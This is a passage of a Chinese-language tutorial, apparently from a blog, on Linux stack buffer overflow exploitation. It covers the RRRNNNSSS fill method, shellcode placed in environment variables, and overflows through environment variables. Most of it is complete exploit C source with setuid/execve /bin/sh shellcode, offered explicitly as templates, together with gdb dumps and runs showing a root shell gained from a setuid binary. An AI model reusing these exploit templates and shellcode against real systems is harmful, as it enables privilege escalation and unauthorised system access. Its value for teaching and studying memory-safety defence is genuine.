    buf's 0xbfffeab0
    非法指令
    [tt@ph4nt0m explab]$ ./stackexp2 400
    ret is at 0xbfffd6f8
    esp is at 0xbfffd878
    buf's 0xbfffd6b0
    sh-2.05b$

    看!当我们的OFFSET到400时,就成功溢出拿到SHELL了!

    为什么不是ROOT?
    那是因为我们的漏洞程序stack2没有加上s位
    当我们加上s位后

    [tt@ph4nt0m explab]$ ls stack2 -l
    -rwsrwsr-x 1 root root 11673 7月 21 15:42 stack2
    [tt@ph4nt0m explab]$ ./stackexp2 400
    ret is at 0xbfffd8f8
    esp is at 0xbfffda78
    buf's 0xbfffd8b0
    sh-2.05b#

    看!拿到ROOT SHELL了,中彩票了!!!

    2.RRRRRRRRRRNNNNNNNNNNNSSSSSSSSSS型

    这种方法同样适合于大的和小的缓冲区,而且RET地址容易计算,明显优于前一种方法!

    原理是:
    首先将整个BUF填满RET,一直到保证RET已经覆盖了EIP,接下来在RET之后紧跟大量的NOPS,
    最后当然就是我们的SHELLCODE!

    而RET地址在这里也非常好确定,因为整个BUF的大小是我们自给确定的(这里的BUF是我们构造
    的BUF,而不是原来程序中的那个被溢出的BUF),所以只需要在BUF的起始地址再加上一个OFFSET
    就可以让RET落在NOPS里面了.

    我们看原来的第一个例子

    [tt@ph4nt0m explab]$ cat stack1.c
    #include<stdio.h>

    int main(int argc,char **argv){
           char buf[10];
           strcpy(buf,argv[1]);
           printf("buf's 0x%8x/n",&buf);
           return 0;

    }
    [tt@ph4nt0m explab]$

    在stack1.c里,buf只有10BYTES,就算加上GCC分配的填充物也只有28BYTES可以利用,很可能放
    不下我们的SHELLCODE,所以第一种方法在这里就不适用了.

    我们采用RRRRNNNNSSSSS型的填充方法.

    下面是我写的一个演示EXPLOIT,可以作为类似EXPLOIT的模板

    [tt@ph4nt0m explab]$ cat stackexp3.c
    #include<stdio.h>
    #include<stdlib.h>
    #include<string.h>

    char shellcode[]=
    "/x31/xdb"
    "/x89/xd8"
    "/xb0/x17"
    "/xcd/x80"
    "/x31/xdb"
    "/x89/xd8"
    "/xb0/x17"
    "/xcd/x80"
    "/x31/xdb"
    "/x89/xd8"
    "/xb0/x2e"
    "/xcd/x80"
    "/x31/xc0"
    "/x50"
    "/x68/x2f/x2f/x73/x68"
    "/x68/x2f/x62/x69/x6e"
    "/x89/xe3"
    "/x50"
    "/x53"
    "/x89/xe1"
    "/x31/xd2"
    "/xb0/x0b"
    "/xcd/x80"
    "/x31/xdb"
    "/x89/xd8"
    "/xb0/x01"
    "/xcd/x80";

    int main(int argc,char **argv){
          char buf[500];
          unsigned long ret,p;
          int i;

          p=&buf;
          ret=p+70;

         memset(buf,0x90,sizeof(buf));

         for(i=0;i<44;i+=4)
               *(long *)&buf[i]=ret;

         memcpy(buf+400+i,shellcode,strlen(shellcode));

         execl("./stack1","stack1",buf,NULL);

         return 0;
    }
    [tt@ph4nt0m explab]$

    先分配一个500BYTES的大BUF,用于我们的构造
    把整个BUFFER填满NOPS
    memset(buf,0x90,sizeof(buf));

    然后把前44BYTES填满RET,这里的44是随便选的,目的只是需要保证覆盖调EIP就可以了.
    从前面的分析直到,当覆盖32BYTES时,就会覆盖掉EIP,所以44可以达到我们的要求.
    for(i=0;i<44;i+=4)
    *(long *)&buf[i]=ret;

    接下来把SHELLCODE复制到合适的位置.
    memcpy(buf+400+i,shellcode,strlen(shellcode));
    这样在SHELLCODE前面几乎有300多个NOPS,成功机率非常大.

    最后再执行漏洞程序,拷贝我们精心构造的BUF到目标程序


    剩下的关键问题是RET值的确定问题
    如前所述,RET的值应该是BUF的起始地址加上一个OFFSET,使得RET能够落在NOPS里面

    我们的BUF的结构是RRRRRRNNNNNNNSSSSSS
    而RET是从BUF的起始地址开始填充起的,所以,只需要OFFSET能够跳过RET,就可以落到NOPS
    里了.

    从而我们这样计算
    p=&buf;

    ret=p+70;

    显然,70>44,所以在这个例子中,RET可以跳到NOPS中执行.我们实际来看看

    [tt@ph4nt0m explab]$ ./stackexp3
    buf's 0xbfffef40
    sh-2.05b#

    内存分布如下

    (gdb) x/50x $esp-36
    0xbfffdcdc: 0x08048269 0xbfffe186 0xbfffe186 0xbfffe186
    0xbfffdcec: 0xbfffe186 0xbfffe186 0xbfffe186 0xbfffe186
    0xbfffdcfc: 0xbfffe186 0xbfffe186 0xbfffe186 0xbfffe186
    0xbfffdd0c: 0x90909090 0x90909090 0x90909090 0x90909090
    0xbfffdd1c: 0x90909090 0x90909090 0x90909090 0x90909090
    0xbfffdd2c: 0x90909090 0x90909090 0x90909090 0x90909090
    0xbfffdd3c: 0x90909090 0x90909090 0x90909090 0x90909090
    0xbfffdd4c: 0x90909090 0x90909090 0x90909090 0x90909090
    0xbfffdd5c: 0x90909090 0x90909090 0x90909090 0x90909090
    0xbfffdd6c: 0x90909090 0x90909090 0x90909090 0x90909090
    0xbfffdd7c: 0x90909090 0x90909090 0x90909090 0x90909090
    0xbfffdd8c: 0x90909090 0x90909090 0x90909090 0x90909090
    0xbfffdd9c: 0x90909090 0x90909090
    (gdb)
    ......
    (gdb)
    0xbfffde70: 0x90909090 0x90909090 0x90909090 0x90909090
    0xbfffde80: 0x90909090 0x90909090 0x90909090 0x90909090
    0xbfffde90: 0x90909090 0x90909090 0x90909090 0xd889db31
    0xbfffdea0: 0x80cd17b0 0xd889db31 0x80cd17b0 0xd889db31
    0xbfffdeb0: 0x80cd2eb0 0x6850c031 0x68732f2f 0x69622f68
    0xbfffdec0: 0x50e3896e 0x31e18953 0xcd0bb0d2 0x89db3180
    0xbfffded0: 0xcd01b0d8 0x0000c680 0x00000000 0x00000000
    0xbfffdee0: 0x00000000 0x00000000 0x00000000 0x00000000
    0xbfffdef0: 0x00000000 0x00000000 0x00000000 0x00000000

    中间省略的是大量NOPS,正如我们想要的那样,BUF按照我们需要的RRRRRNNNNNSSSSS
    方式填充了!

    3.利用环境变量

    这是目前最有效也最常用的一种方法.适应能力强,而且可以精确定位SHELLCODE的地址,
    所以连NOPS都可以不必要,这样带来的好处是绕过了一些环境的安全检察,因为大量的NOPS
    肯可能会被检测出来而无法通过执行.

    函数execve()是一个比较特殊的函数,他的某些特性能让我们写EXPLOIT事半功倍.

    具体原理可以参考OYXin翻译的<<利用execve()函数写无nops exploit>>
    可以在http://www.ph4nt0m.net/docs/env.txt找到这篇文章.

    简单来说就是把SHELLCODE放到环境变量里.execve()可以提供一个全新的环境给程序.从内存
    高址0xc0000000开始计算起,文件名,程序execve()后的环境和参数将被COPY进内存.

    这样,只要按照一定顺序,我们就可以公式般计算SHELLCODE的准确位置!
    SHELLCODE地址的计算方法是
    0xc0000000 - 0x04 - sizeof(filename) - sizeof(shellcode)

    这个时候,我们的BUF构造就相对非常简单了.只需要AAAAAAAAR的方式来进行填充
    A只需要填充BUF一直到EBP,最后的EIP用一个RET进行覆盖,RET准确的指向SHELLCODE的地址
    最后再用SHELLCODE执行整个程序就可以了 !


    我们还是针对stack1.c来进行溢出
    [tt@ph4nt0m explab]$ cat stack1.c
    #include<stdio.h>

    int main(int argc,char **argv){
           char buf[10];
           strcpy(buf,argv[1]);
           printf("buf's 0x%8x/n",&buf);
           return 0;

    }
    [tt@ph4nt0m explab]$

    下面是我写的一个演示的EXPLOIT,可以作为类似EXPLOIT的一个模板

    [tt@ph4nt0m explab]$ cat stackexp1.c
    #include<stdio.h>

    char shellcode[]=
    "/x31/xdb"
    "/x89/xd8"
    "/xb0/x17"
    "/xcd/x80"
    "/x31/xdb"
    "/x89/xd8"
    "/xb0/x17"
    "/xcd/x80"
    "/x31/xdb"
    "/x89/xd8"
    "/xb0/x2e"
    "/xcd/x80"
    "/x31/xc0"
    "/x50"
    "/x68/x2f/x2f/x73/x68"
    "/x68/x2f/x62/x69/x6e"
    "/x89/xe3"
    "/x50"
    "/x53"
    "/x89/xe1"
    "/x31/xd2"
    "/xb0/x0b"
    "/xcd/x80"
    "/x31/xdb"
    "/x89/xd8"
    "/xb0/x01"
    "/xcd/x80";

    int main(int argc,char **argv){
          char buf[32];
          char *p[]={"./stack1",buf,NULL};
          char *env[]={"HOME=/root",shellcode,NULL};
          unsigned long ret;
          ret=0xc0000000-strlen(shellcode)-strlen("./stack1")-sizeof(void *);

          memset(buf,0x41,sizeof(buf));
          memcpy(&buf[28],&ret,4);

          printf("ret is at 0x%8x/n",ret);
          execve(p[0],p,env);

          return 0;
    }
    [tt@ph4nt0m explab]$

    把SHELLCODE放入将要执行的环境变量中
    char *env[]={"HOME=/root",shellcode,NULL};

    把整个BUF用A填满
    memset(buf,0x41,sizeof(buf));

    计算RET的值,并覆盖EIP
    ret=0xc0000000-strlen(shellcode)-strlen("./stack1")-sizeof(void *);
    ......
    memcpy(&buf[28],&ret,4);

    最后执行execve()
    execve(p[0],p,env);


    我们来看看运行EXPLOIT的内存分布


    (gdb) b execve
    Breakpoint 1 at 0x80482ec
    (gdb) r
    Starting program: /home/tt/explab/stackexp1
    Breakpoint 1 at 0x420ac7f6
    ret is at 0xbfffffbb

    Breakpoint 1, 0x420ac7f6 in execve () from /lib/tls/libc.so.6
    (gdb) i reg
    eax 0xbfffe190 -1073749616
    ecx 0x4212ee20 1108536864
    edx 0x15 21
    ebx 0x42130a14 1108544020
    esp 0xbfffe150 0xbfffe150
    ebp 0xbfffe158 0xbfffe158
    esi 0x40015360 1073828704
    edi 0x80484dc 134513884
    eip 0x420ac7f6 0x420ac7f6
    eflags 0x286 646
    ......

    (gdb) x/50x $esp
    0xbfffe150: 0x420ac7f0 0x40015a38 0xbfffe1c8 0x080484a2
    0xbfffe160: 0x08048558 0xbfffe190 0xbfffe180 0x4207a750
    0xbfffe170: 0x4000807f 0x4001582c 0x00000036 0xbfffffbb
    0xbfffe180: 0x08048561 0x080495c0 0x00000000 0x40016380
    0xbfffe190: 0x08048558 0xbfffe1a0 0x00000000 0x0804837a
    0xbfffe1a0: 0x41414141 0x41414141 0x41414141 0x41414141
    0xbfffe1b0: 0x41414141 0x41414141 0x41414141 0xbfffffbb
    0xbfffe1c0: 0x42130a14 0x40015360 0xbfffe1e8 0x42015574
    0xbfffe1d0: 0x00000001 0xbfffe214 0xbfffe21c 0x4001582c
    ......

    (gdb) c
    ......
    (gdb) x/50x $esp
    ......
    0xbfffff40: 0x00000000 0x00000000 0x00000000 0x00000000
    0xbfffff50: 0x00000000 0x00000000 0x00000000 0x00000000
    0xbfffff60: 0x00000000 0x00000000 0x00000000 0x36690000
    0xbfffff70: 0x2e003638 0x6174732f 0x00316b63 0x41414141
    0xbfffff80: 0x41414141 0x41414141 0x41414141 0x41414141
    0xbfffff90: 0x41414141 0x41414141 0xbfffffbb 0x42130a14
    0xbfffffa0: 0x40015360 0xbfffe1e8 0x42015574 0x4f480001
    0xbfffffb0: 0x2f3d454d 0x746f6f72 0x89db3100 0xcd17b0d8
    0xbfffffc0: 0x89db3180 0xcd17b0d8
    (gdb)
    0xbfffffc8: 0x89db3180 0xcd2eb0d8 0x50c03180 0x732f2f68
    0xbfffffd8: 0x622f6868 0xe3896e69 0xe1895350 0x0bb0d231
    0xbfffffe8: 0xdb3180cd 0x01b0d889 0x2e0080cd 0x6174732f
    0xbffffff8: 0x00316b63 0x00000000 Cannot access memory at address 0xc0000000

    (gdb) x/50x 0xbfffffc1
    0xbfffffc1: 0xd889db31 0x80cd17b0 0xd889db31 0x80cd2eb0
    0xbfffffd1: 0x6850c031 0x68732f2f 0x69622f68 0x50e3896e
    0xbfffffe1: 0x31e18953 0xcd0bb0d2 0x89db3180 0xcd01b0d8
    0xbffffff1: 0x2f2e0080 0x63617473 0x0000316b Cannot access memory at address 0xbffffffd
    (gdb)


    我们已经可以看到程序按照我们的想法执行了.

    [tt@ph4nt0m explab]$ ./stackexp1
    ret is at 0xbfffffbb
    buf's 0xbffffc60
    sh-2.05b#


    以上是三种常用的方法.

    最后,简单说说关于传递环境变量到BUF造成溢出的问题

    很多程序由于没有对环境变量进行边界检查,所以当赋予环境变量一个超长的值时,
    运行该有漏洞的程序,将把环境变量拷贝进缓冲区,造成溢出.

    通常通过setenv(),putenv()等函数进行传递被我们构造的环境变量

    由于篇幅关系,这里不再详悉叙述,仅仅给出一个例子和我写的一个相应的EXPLOIT作为参考.

    [tt@ph4nt0m explab]$ cat env1.c
    #include <stdio.h>
    #include <stdlib.h>

    int main(int argc, char **argv){
           char buffer[500];

           printf("buf addr is- %p -/n", &buffer);
           strcpy(buffer, getenv("PH4NT0M"));

           return 0;
    }
    [tt@ph4nt0m explab]$

    下面是我写的一个演示EXPLOIT,可以作为类似EXPLOIT的一个模板

    [tt@ph4nt0m explab]$ cat envexp1.c
    #include <stdlib.h>
    #include <unistd.h>

    char shellcode[]=
    "/x31/xdb"
    "/x89/xd8"
    "/xb0/x17"
    "/xcd/x80"
    "/x31/xdb"
    "/x89/xd8"
    "/xb0/x17"
    "/xcd/x80"
    "/x31/xdb"
    "/x89/xd8"
    "/xb0/x2e"
    "/xcd/x80"
    "/x31/xc0"
    "/x50"
    "/x68/x2f/x2f/x73/x68"
    "/x68/x2f/x62/x69/x6e"
    "/x89/xe3"
    "/x50"
    "/x53"
    "/x89/xe1"
    "/x31/xd2"
    "/xb0/x0b"
    "/xcd/x80"
    "/x31/xdb"
    "/x89/xd8"
    "/xb0/x01"
    "/xcd/x80";

    unsigned long get_esp(){
         __asm__("movl %esp,%eax");
    }

    int main(int argc, char **argv){
         char buf[528];
         int i;
         int offset=90;
         unsigned long ret;
         memset(buf,0x90,sizeof(buf));

         /* set offset to 100 to spawn a shell! */
         if(argc>1)
         offset=atoi(argv[1]);

         ret=get_esp()-offset;

         memcpy(buf+524,&ret,4);
         memcpy(buf+400+i,shellcode,strlen(shellcode));

         setenv("PH4NT0M",buf,1);

          printf("retaddr is at 0x%lx /n",ret);

          execl("./env1","env1",NULL);

          return 0;
    }
    [tt@ph4nt0m explab]$

    运行结果如下,OFFSET取100时,造成溢出,得到SHELL

    [tt@ph4nt0m explab]$ ./envexp1
    retaddr is at 0xbffff1ce
    buf addr is- 0xbfffefa0 -
    段错误
    [tt@ph4nt0m explab]$ ./envexp1 100
    retaddr is at 0xbfffed34
    buf addr is- 0xbfffeba0 -
    sh-2.05b$

    展开全文
  • 缓冲区溢出是指当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量,使得溢出的数据覆盖在合法数据上,通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,造成程序崩溃或使程序转...
  • 在分析缓冲区溢出攻击原理之前,我们先来 复习一下进程在内存中的结构。 进程在内存中的组织形式 Text段主要包含程序代码(一系列可执行的指令),另外还有一些只读的数据。通常操作系统标记该段为...
  • 缓冲区溢出攻击

    2020-05-12 23:44:35
    简单介绍缓冲区溢出攻击原理; 关闭防护措施,进行缓冲器溢出攻击实验; 最后从不同层次简单提及缓冲区溢出的防御措施;
  • 缓冲区溢出漏洞攻击原理

    千次阅读 2019-05-09 22:47:00
    缓冲区溢出漏洞攻击原理 转自互联网 0x00 缓冲区溢出概念 缓冲区溢出是指当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量溢出的数据覆盖在合法数据上, 理想的情况是程序检查数据长度并不允许输入...
  • 详细介绍缓冲区溢出攻击原理和实验方法,内容包括1)缓冲区溢出的概念;2)程序的内存组织与缓冲区溢出类型;3)缓冲区溢出攻击的三个案例
  • 历史上最著名的缓冲区溢出攻击可能要算是1988年11月2日的MorrisWorm所携带的攻击代码了。这个因特网蠕虫利用了fingerd程序的缓冲区溢出漏洞,给用户带来了很大危害。此后,越来越多的缓冲区溢出漏洞被发现。最近学了...
  • 在为C语言的数组等赋值时,可能赋值大小超出了数组的长度限制,这时超出的部分就会覆盖掉栈中其他部分的内容,从而发生缓冲区溢出。 下面用一个危险的例子进行说明:在这个程序中,我们利用strcpy()函数进行赋值操作...
  • 基于解决缓冲区溢出这一普遍发生的网络安全漏洞的目的,通过软件、硬件技术层面的验证方法,结合人工检查、静态发现技术、动态防御技术等实验手段,得出了在向缓冲区中传输数据时可以通过数组边界检
  • 缓冲区溢出攻击原理程序员通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其它指令,以达到攻击的目的。造成缓冲区溢出的原因是程序中没有仔细...
  • 缓冲区溢出原理及其防范,孙魁,,缓冲区溢出攻击是网络攻击事件中最常用的一种攻击方式,成为系统和网络安全中亟待解决的重要问题。论文在分析缓冲区溢出攻击原理

空空如也

空空如也

1 2 3 4 5 ... 19
收藏数 365
精华内容 146
关键字:

缓冲区溢出攻击原理